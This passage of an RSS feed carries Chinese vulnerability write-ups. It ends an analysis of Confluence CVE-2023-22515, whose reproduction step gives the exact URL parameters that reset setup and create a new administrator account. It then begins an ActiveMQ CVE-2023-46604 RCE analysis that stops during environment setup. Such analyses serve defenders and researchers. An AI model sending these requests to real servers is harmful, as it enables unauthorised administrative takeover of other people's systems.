Neue&#34;;font-variant: normal;text-transform: none;">true</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="354" data-backw="578" data-imgfileid="100004521" data-ratio="0.6130221130221131" width="601.7100219726562" data-type="png" data-w="814" height="368.8599853515625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=5dab5fce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3NibyuMygreGV7kZqNYYgMUx1F5dIricACwNibx2bbGoKyHnria5CRXbhQdJQ%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">那么如果能把</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">bootstrapStatusProvider.applicationConfig.setupComplete</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">的值改为 false，就可以重新进行安装步骤，从而创建新的管理员账户了。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">看看新版本中被删除的 </span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">ServerInfoAction</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，好像没什么问题；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="342" data-backw="578" data-imgfileid="100004517" data-ratio="0.5922165820642978" width="591.010009765625" data-type="png" data-w="591" height="350.0100402832031" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=0b8d535a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3NibPxaGMpJT695Ce3nSTVNbXDDC4wY5ia1HJSTiclgpwBiaPYPQKWRa2Dgtw%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">再看看它的父类，</span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">ConfluenceActionSupport </span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">有一个</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">getBootstrapStatusProvider()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">方法，看名字有点用的感觉，其中实例化了</span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">BootstrapStatusProviderImpl </span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">类；</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="137" data-backw="578" data-imgfileid="100004520" data-ratio="0.2363405336721728" width="601.7100219726562" data-type="png" data-w="787" height="142.21002197265625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=a884e233&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3NibB1mqVR6XBcH7icia93gYdYRc2FAUlticjgSFrPHKplOicZmpjbE5H3QLjg%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">跟进，在 </span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);"></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">BootstrapStatusProviderImpl </span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">中有一个</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">getApplicationConfig()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，而 </span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">ApplicationConfig </span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">中有</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">setSetupComplete()</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，如果能调用这些 gettet/setter 方法，就成功了。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 <img class="rich_pages wxw-img" data-backh="292" data-backw="578" data-imgfileid="100004522" data-ratio="0.5056603773584906" width="601.7100219726562" data-type="png" data-w="795" height="304.260009765625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=02734c50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3NibBroRLDWS1oT3L4za0mRmYaVjb1WQ6ibNiaQgRHFFibuwEx469lqn8Gg0w%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">所以，要寻找能够调用</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false)</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">的地方。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 24pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;break-before: auto;line-height: 1.6em;"><span style="text-indent: 0pt;color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">4. 漏洞复现</span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">根据 Struts2 框架下 XWork 的特性，可以直接通过 HTTP 参数调用对象的 gettet/setter 方法；<br/>

 向 URL 中传入参数</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，返回 </span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">success</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">；<br/>

 再访问</span></span><span style="font-size: 18px;font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/setup/setupadministrator-start.action</span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，就可以重新创建管理员账号了。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 </span><span style="font-size: 12pt;"></span><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="385" data-backw="578" data-imgfileid="100004523" data-ratio="0.6657407407407407" width="601.7100219726562" data-type="png" data-w="1080" height="400.82000732421875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=64b66a0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MauEMsDCeUfh0ibaBORb3NibZ6L3EcSW5LqoicPJxDYcfot2X0IQIEcyuKiaicQNcH9YjogTHSlWFQic3w%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">继承了 </span></span><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">ConfluenceActionSupport </span><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">的 action 类都可以进行利用，只是请求方法有的有些不同。</span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><br/></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;line-height: 1.6em;"><span style="font-size: 18px;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><strong style="font-family: &#34;Helvetica Neue&#34;;text-align: left;text-wrap: wrap;outline: 0px;color: rgb(59, 85, 171);font-size: 20px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);visibility: visible;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;outline: 0px;visibility: visible;">参考链接：</span></strong></span></span></section><section style="margin-top: 16.3pt;margin-bottom: 16.3pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(0, 0, 255);font-weight: normal;text-decoration: underline;background: transparent;line-height: 1.6em;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;"><a href="https://cn-sec.com/archives/2177640.html " target="_blank">https://cn-sec.com/archives/2177640.html </a><br/></span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;font-size: 18px;"><a href="https://exp10it.cn/2023/10/atlassian-confluence-cve-2023-22515-分析/" target="_blank">https://exp10it.cn/2023/10/atlassian-confluence-cve-2023-22515-分析/</a></span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"></span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247488203">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d2e7ca13&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488203%26idx%3D1%26sn%3Dd26944771ae3d1815a4f793328d5e279%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 30 Nov 2023 12:15:00 +0800</pubDate>
    </item>
    <item>
      <title>Apache ActiveMQ RCE 分析 (CNVD-2023-69477 / CVE-2023-46604)</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488127&amp;idx=1&amp;sn=b149206ddf8e41ee56ca9cae15d982da</link>
      <description>ActiveMQ对传入的TCP数据没有进行校验。攻击者可构造特殊数据流在服务端加载任意类，最终能直接执行任意命令。</description>
      <content:encoded><![CDATA[<p>
原创 <span>blckder02</span> <span>2023-11-27 17:22</span> <span style="display: inline-block;">浙江</span>
</p>

<p>ActiveMQ对传入的TCP数据没有进行校验。攻击者可构造特殊数据流在服务端加载任意类，最终能直接执行任意命令。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=affc988a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57PxGhERDAdXuR3IxFTa7AQxS122ANxn1bQcz2epbcDIrM2YDVI0KRQUicOrCnTUiaPib84X49bvkoTmQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="mso-style-name: &#39;Heading 1&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: 28.8pt;mso-pagination: widow-orphan;mso-outline-level: 2;font-size: 24.0pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;page-break-before: auto;"><span style="font-size: 22pt;text-indent: 0pt;letter-spacing: 0.034em;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">1. 前言</span></span></p><p style="mso-style-name: &#39;Para 10&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">官方公告：</span></strong><br/></span><span style="mso-style-name: &#39;00 Text&#39;;mso-style-parent: &#39;&#39;;font-weight: normal;mso-bidi-font-weight: normal;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;mso-fareast-font-family: Helvetica Neue;font-variant: normal;text-transform: none;"> </span><span style="mso-style-name: &#39;06 Text&#39;;mso-style-parent: &#39;&#39;;color: #0000FF;font-weight: normal;mso-bidi-font-weight: normal;text-decoration: underline;text-underline: single;font-size: 13.5pt;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;mso-fareast-font-family: Helvetica Neue;font-variant: normal;text-transform: none;"><a href="https://activemq.apache.org/news/cve-2023-46604" target="_blank">https://activemq.apache.org/news/cve-2023-46604</a>            <br/></span><span style="mso-style-name: &#39;00 Text&#39;;mso-style-parent: &#39;&#39;;font-weight: normal;mso-bidi-font-weight: normal;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;mso-fareast-font-family: Helvetica Neue;font-variant: normal;text-transform: none;"> </span><span style="mso-style-name: &#39;06 Text&#39;;mso-style-parent: &#39;&#39;;color: #0000FF;font-weight: normal;mso-bidi-font-weight: normal;text-decoration: underline;text-underline: single;font-size: 13.5pt;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;mso-fareast-font-family: Helvetica Neue;font-variant: normal;text-transform: none;"><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46604" target="_blank">https://nvd.nist.gov/vuln/detail/CVE-2023-46604</a></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"></span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;outline: 0px;visibility: visible;">漏洞描述：</span></strong></span><span style="mso-style-name: &#39;00 Text&#39;;mso-style-parent: &#39;&#39;;font-weight: normal;mso-bidi-font-weight: normal;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;font-variant: normal;text-transform: none;"><br/></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"> ActiveMQ 对传入的 TCP 数据没有进行校验。攻击者可构造特殊数据流在服务端加载任意类，最终能直接执行任意命令。</span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;outline: 0px;visibility: visible;">影响版本：</span></strong></span><span style="mso-style-name: &#39;00 Text&#39;;mso-style-parent: &#39;&#39;;font-weight: normal;mso-bidi-font-weight: normal;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;font-variant: normal;text-transform: none;"><br/></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"> Apache ActiveMQ：         <br/>

     &lt; 5.15.16<br/>

     &lt; 5.16.7<br/>

     &lt; 5.17.6<br/>

     &lt; 5.18.3</span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;outline: 0px;visibility: visible;">A</span></strong></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;outline: 0px;visibility: visible;">ctiveMQ 简介：</span></strong></span><span style="mso-style-name: &#39;00 Text&#39;;mso-style-parent: &#39;&#39;;font-weight: normal;mso-bidi-font-weight: normal;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;mso-fareast-font-family: Helvetica Neue;font-variant: normal;text-transform: none;"><br/></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"> Apache ActiveMQ 是一个开源的消息中间件，实现了 Java Message Service (JMS) 规范。它是 Apache 软件基金会的项目之一，用于实现高性能、可扩展、松耦合的消息传递系统。</span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">在 ActiveMQ 中，生产者（Producer）发送消息到 Queue 或者  Topic 中，消费者（consumer）通过 ActiveMQ 支持的传输协议连接到 ActiveMQ 接受消息并做处理。</span></p><p style="mso-style-name: &#39;Para 03&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: 26.4pt;mso-pagination: widow-orphan;font-size: 22.0pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="text-indent: 0pt;color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">2. 环境搭建</span><o:page></o:page></p><p style="mso-style-name: &#39;Para 09&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;text-indent: 0.0pt;line-height: 23.95pt;mso-pagination: widow-orphan;font-size: 19.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;margin-top: 0.0pt;margin-right: 0.0pt;margin-bottom: 0.0pt;margin-left: 0.0pt;"><span style="mso-bookmark:2_1__Da_Jian_ActiveMQFu_Wu;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><span style="mso-spacerun:yes;"> </span></span></span><span style="mso-bookmark:2_1__Da_Jian_ActiveMQFu_Wu;"></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"></span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: 23.95pt;font-size: 19.5pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;"><strong style="letter-spacing: 0.578px;text-wrap: wrap;color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;text-align: left;">2-1. 搭建ActiveMQ服务</strong></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">在官网下载压缩包：<br/>

 </span><span style="mso-style-name: &#39;07 Text&#39;;mso-style-parent: &#39;&#39;;color: #0000FF;text-decoration: underline;text-underline: single;font-size: 13.5pt;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;mso-fareast-font-family: Helvetica Neue;font-variant: normal;text-transform: none;"><a href="https://activemq.apache.org/download-archives" target="_blank">https://activemq.apache.org/download-archives</a></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"></span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">解压后进入 